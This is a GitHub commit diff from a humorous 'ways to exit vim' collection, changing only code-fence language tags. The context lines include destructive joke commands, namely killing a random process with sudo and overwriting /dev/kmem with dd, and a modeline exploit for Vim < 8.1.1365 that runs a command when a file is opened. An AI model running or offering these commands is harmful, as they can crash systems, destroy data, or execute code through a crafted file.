Merge pull request #272 from Kairixir/patch-2

This commit is contained in:
Luke Stephens (hakluke) 2023-12-20 21:03:22 +10:00 committed by GitHub
commit 45379acada
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -84,7 +84,7 @@ $ ruby -e 'pid = `pidof vim`; Process.kill(9, pid.to_i)'
Credit: @w181496 Credit: @w181496
In insert mode: In insert mode:
``` ```vim
<C-R>=system("ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9") <C-R>=system("ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9")
``` ```
@ -143,15 +143,15 @@ $ timeout $RANDOM vim
## The Shoot First, Ask Questions Later way ## The Shoot First, Ask Questions Later way
Credit: @aliva Credit: @aliva
``` ```bash
$ ps axuw | awk '{print $2}' | grep -v PID | shuf -n 1 | sudo kill -9 $ ps axuw | awk '{print $2}' | grep -v PID | shuf -n 1 | sudo kill -9
```
## The "all against the odds" Russian Roulette way ## The "all against the odds" Russian Roulette way
Credit: @cfrost Credit: @cfrost
When you want to spice things up a bit more: When you want to spice things up a bit more:
``` ```vim
:!ps axuw | sort -R | head -1 | awk '{print $2}' | xargs kill -9 :!ps axuw | sort -R | head -1 | awk '{print $2}' | xargs kill -9
``` ```
@ -261,14 +261,14 @@ Don't run this, it could break your computer.
## The layered Method ## The layered Method
Credit: @mashuptwice Credit: @mashuptwice
``` ```vim
:!python -c "import os ; os.system(\"ssh localhost kill -9 $(pgrep vim >tmpfile && grep -P '\d+' tmpfile | sed 's/\(.*\)/\1/g' | cat && rm tmpfile) \")" :!python -c "import os ; os.system(\"ssh localhost kill -9 $(pgrep vim >tmpfile && grep -P '\d+' tmpfile | sed 's/\(.*\)/\1/g' | cat && rm tmpfile) \")"
``` ```
Bonus: still stuck if multiple vim instances are running Bonus: still stuck if multiple vim instances are running
## The epileptic Method ## The epileptic Method
Credit: @mashuptwice Credit: @mashuptwice
``` ```vim
:!timeout 10 yes "Preparing to exit vim. It might seem that this takes an unreasonable ammount of time and processing power, but instead of complaining you could just enjoy the show\!" | lolcat ; pgrep vim | xargs kill -9 :!timeout 10 yes "Preparing to exit vim. It might seem that this takes an unreasonable ammount of time and processing power, but instead of complaining you could just enjoy the show\!" | lolcat ; pgrep vim | xargs kill -9
``` ```
May the magnificent colors help you to forget the emotional damage caused by exiting vim! May the magnificent colors help you to forget the emotional damage caused by exiting vim!
@ -351,7 +351,7 @@ Credit: @penelopezone
**Warning, this may break your entire computer** **Warning, this may break your entire computer**
``` ```vim
:!sudo dd if=/dev/urandom of=/dev/kmem :!sudo dd if=/dev/urandom of=/dev/kmem
``` ```
@ -513,7 +513,7 @@ Credit: @k-takata
Credit: @85danf Credit: @85danf
To run vim: To run vim:
``` ```bash
mkdir -p /tmp/vim mkdir -p /tmp/vim
cd /tmp/vim cd /tmp/vim
vagrant init --minimal hashicorp/bionic64 vagrant init --minimal hashicorp/bionic64
@ -521,7 +521,7 @@ vagrant ssh
vim vim
``` ```
To exit vim, open another shell, then: To exit vim, open another shell, then:
``` ```bash
cd /tmp/vim cd /tmp/vim
vagrant halt vagrant halt
``` ```
@ -596,7 +596,7 @@ Credit @u2mejc
``` ```
## The Newbie Way ## The Newbie Way
``` ```bash
git commit git commit
``` ```
@ -691,15 +691,15 @@ Credit: @ccw630
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365. Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data: 1. Create a file (say `quit.txt`) with the following data:
``` ```bash
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
``` ```
2. Ensure that the modeline option has not been disabled. 2. Ensure that the modeline option has not been disabled.
``` ```bash
echo "set modeline" >> .vimrc echo "set modeline" >> .vimrc
``` ```
3. Open `quit.txt`. 3. Open `quit.txt`.
``` ```vim
:e! quit.txt :e! quit.txt
``` ```